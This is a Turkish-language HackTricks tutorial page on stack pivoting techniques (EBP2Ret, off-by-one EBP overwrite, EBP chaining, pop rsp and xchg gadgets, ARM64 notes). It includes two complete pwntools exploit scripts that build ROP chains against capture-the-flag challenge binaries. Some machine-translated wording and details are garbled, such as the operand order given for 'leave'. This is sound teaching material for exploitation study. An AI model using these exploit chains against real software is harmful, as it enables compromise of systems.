Stack Pivoting - EBP2Ret - EBP chaining

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Bu teknik, Base Pointer (EBP)'yi manipüle etme yeteneğini kullanarak EBP kaydının ve leave; ret komut dizisinin dikkatli kullanımıyla birden fazla işlevin yürütülmesini zincirleme şeklinde sömürür.

Hatırlatma olarak, leave temelde şunu ifade eder:

mov       ebp, esp
pop       ebp
ret

Ve EBP, EIP'den önce stack'te olduğundan, stack'i kontrol ederek onu kontrol etmek mümkündür.

EBP2Ret

Bu teknik, EBP kaydını değiştirebilirken EIP kaydını doğrudan değiştiremediğinizde özellikle yararlıdır. Fonksiyonların çalışmayı bitirdiklerindeki davranışlarını kullanır.

fvuln'ün yürütülmesi sırasında, stack'e sahte bir EBP enjekte etmeyi başarırsanız ve bu sahte EBP, shellcode'unuzun adresinin bulunduğu bellek alanına işaret eder (pop işlemi için 4 bayt eklenerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. fvuln geri döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve ardışık pop işlemi ESP'yi 4 azaltarak, efektif olarak saldırgan tarafından oraya depolanan bir adrese işaret etmesini sağlar. Dikkat edin ki 2 adresi bilmelisiniz: ESP'nin gideceği adres ve ESP'nin işaret ettiği adrese yazmanız gereken adres.

Saldırı Oluşturma

İlk olarak, keyfi veri / adresler yazabileceğiniz bir adresi bilmelisiniz. ESP buraya işaret edecek ve ilk ret'yi çalıştıracak.

Ardından, keyfi kodu çalıştıracak ret tarafından kullanılan adresi bilmelisiniz. Şunları kullanabilirsiniz:

  • Geçerli bir ONE_GADGET adresi.

  • system() adresi, 4 gereksiz bayt ve "/bin/sh" adresi (x86 bit).

  • Bir jump esp; cihazının (ret2esp) adresi ve yürütülecek shellcode'un adresi.

  • Bazı ROP zinciri

Kontrol edilen belleğin bu adreslerinden önce, leave talimatının pop kısmından dolayı 4 bayt olmalıdır. Bu 4B'yi kullanarak ikinci sahte EBP'yi ayarlamak ve yürütümü kontrol etmeye devam etmek mümkün olabilir.

Bir-Byte Hatası Sömürüsü

Bu tekniğin belirli bir varyantı olan "Bir-Byte Hatası Sömürüsü" adı verilen özel bir varyantı vardır. Bu, EBP'nin en az anlamlı baytını yalnızca değiştirebildiğinizde kullanılır. Bu durumda, ret ile atlanacak adresi depolayan bellek konumu, EBP ile ilk üç baytı paylaşmalıdır, daha kısıtlayıcı koşullarla benzer bir manipülasyon için izin verir. Genellikle mümkün olduğunca uzağa atlamak için bayt 0x00 değiştirilir.

Ayrıca, stack'te bir RET kaydırıcısı kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET KAYDIRICISI'nın içine işaret etme olasılığı daha yüksek olur ve son ROP zinciri yürütülür.

EBP Zincirleme

Bu nedenle, stack'in EBP girişine kontrol edilen bir adres ve EIP'de leave; ret adresine yerleştirilmiş bir adres koyarak, ESP'yi stack'teki kontrol edilen EBP adresine taşımak mümkündür.

Şimdi, ESP istenen bir adrese işaret ederek kontrol edilir ve yürütülecek sonraki talimat bir RET'dir. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür:

  • &(sonraki sahte EBP) -> leave talimatındaki pop ebp nedeniyle yeni EBP'yi yükler

  • system() -> ret tarafından çağrılır

  • &(leave;ret) -> sistem sona erdikten sonra çağrılır, ESP'yi sahte EBP'ye taşıyacak ve yeniden başlayacak

  • &("/bin/sh")-> system için parametre

Temelde bu şekilde programın akışını kontrol etmek için birkaç sahte EBP zincirlemek mümkündür.

Bu, bir ret2lib gibi, ancak görünür bir faydası olmayan daha karmaşık bir yöntemdir, ancak bazı sınırlı durumlarda ilginç olabilir.

Ayrıca, burada bu tekniği bir stack sızıntısı ile kullanarak kazanan bir işlevi çağırmak için kullanılan bir meydan okuma örneği bulunmaktadır. Bu, sayfadaki son yüküdür:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP kullanılmayabilir

Bu gönderide açıklandığı gibi, bir ikili dosya bazı optimizasyonlarla derlenmişse, EBP hiçbir zaman ESP'yi kontrol etmeyecek şekilde derlenir, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir saldırı temelde başarısız olacaktır çünkü gerçek bir etkisi olmayacaktır. Bu, ikili dosya optimize edilmediğinde geçerlidir:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimize Edilmiş:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

RSP'yi kontrol etmenin diğer yolları

pop rsp cihazı

Bu sayfada bu teknik kullanılarak bir örnek bulabilirsiniz. Bu zorluk için belirli 2 argümanla bir işlevi çağırmak gerekiyordu ve bir pop rsp cihazı bulunmaktaydı ve bir yığından sızıntı vardı:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp cihazı

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Ret2esp tekniğini buradan kontrol edin:

pageRet2esp / Ret2reg

Referanslar ve Diğer Örnekler

ARM64

ARM64'te, fonksiyonların prolog ve epilogları SP kaydını depolamaz ve geri alamaz. Dahası, RET komutu SP tarafından işaret edilen adrese değil, x30 içindeki adrese döner.

Bu nedenle, varsayılan olarak, sadece epilogu istismar ederek SP kaydını kontrol edemezsiniz ve hatta SP'yi kontrol etmeyi başarırsanız bile x30 kaydını kontrol etme yolu bulmanız gerekir.

  • prolog

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP frame kaydına işaret eder
  • epilog

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

ARM64'te stack pivoting'e benzer bir şey yapmanın yolu, SP'yi kontrol etmek (SP'ye geçirilen bir kaydı kontrol etmek veya SP'nin bir nedenle yığınından adresini alması ve bir taşma olması durumunda) ve ardından epilogu istismar etmek olacaktır. x30 kaydını kontrol edilen bir SP'den yüklemek ve buna RET yapmaktır.

Ayrıca aşağıdaki sayfada ARM64'te Ret2esp'in karşılığını görebilirsiniz:

pageRet2esp / Ret2reg
Sıfırdan başlayarak AWS hacklemeyi htARTE (HackTricks AWS Red Team Expert) öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated